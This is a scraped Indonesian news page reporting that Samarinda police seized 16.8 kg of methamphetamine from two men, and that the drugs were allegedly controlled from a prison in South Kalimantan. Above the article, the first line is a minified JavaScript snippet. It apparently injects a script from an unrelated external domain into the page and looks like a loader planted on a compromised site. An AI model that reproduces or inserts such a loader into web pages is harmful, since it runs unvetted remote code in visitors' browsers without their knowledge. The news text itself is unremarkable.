(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Polisi Gagalkan Penyelundupan Sabu 16 Kg dari Dua Pemuda di Samarinda, Disebut Berasal dari Lapas di Kalsel


KANALKALIMANTAN.COM, SAMARINDA – Polresta Samarinda berhasil menggagalkan penyelundupan narkotika jenis sabu seberat 16,8 kilogram di Kota Tepian yang dilakukan dua pelaku berinisial DK (22) dan RB (35).

Barang haram tersebut diamankan dari kedua tangan pelaku di sebuah rumah kontrakan yang berada di jalan AW Syahranie, Kecamatan Samarinda Ulu pada Rabu (16/2/2022).

Kapolresta Samarinda Kombes Pol Ary Fadly mengatakan, pengungkapan kasus ini berawal dari laporan masyarakat, kemudian tim dari Satresnakoba langsung melakukan pengembangan terkait laporan tersebut.

“Awalnya dari laporan masyarakat. Kemudian dari pengembangan laporan tersebut, Kami langsung melakukan penangkapan dan berhasil mengamankan pelaku berinisial DK,” ungkapnya pada Jumat (18/2/2022).

 

Baca juga : Banjarbaru Jadi Ibu Kota Kalsel, Intip Rencana Pembangunan Stadion Sepak Bola Berstandar FIFA

Setelah melakukan pengembangan lebih lanjut dari DK, kepolisian kemudian menangkap pelaku berinisial RB.

“Jadi kami langsung melakukan pengembangan dan akhirnya berhasil mengamankan pelaku (RB) di Jalan Nuri,” tambahnya.

Ary Fadly menjelaskan, berdasarkan pengakuan kedua tersangka barang haram tersebut akan diedarkan di seluruh Kalimantan Timur.

“Kami masih tunggu arahannya selanjutnya, otak atau pemilik barang ini karena yang kami amankan ini adalah rekrument dari pemiliknya,” jelasnya.

Ary Fadly mengatakan kedua pelaku ini merupakan jaringan yang diamankan sebelumnya setelah terungkap dan memiliki keterkaitan.

 

Baca juga : Musrenbangdes di Desa Bintang Kurung, Kades: Listrik PLN Masuk dan Siring Jalan Diperbaiki

Bahkan dari pendalaman kasus tersebut, barang itu dikendalikan dari salah satu Lembaga Permasyarakatan (Lapas) di wilayah Kalimantan Selatan.

Dari upaya penyelundupan barang haram tersebut, kedua tersangka mendapatkan upah Rp 10 Juta untuk berangkat ke Samarinda dan mengambil barang untuk diamankan.

“Upah mereka ini 10 juta untuk ke Samarinda, guna mengamankan barang tersebut,” bebernya.

Kini DK dan RS pun harus mendekam di balik jeruji besi dan dijerat pasal 114 ayat (2) juncto pasal 112 ayat (2) dengan ancaman 20 tahun penjara. (Kanalkalimantan.com/Suara.com/Apriskian Tauda Parulian)

Editor : kk


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

3 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

6 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

12 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

12 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

15 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

19 jam ago

This website uses cookies.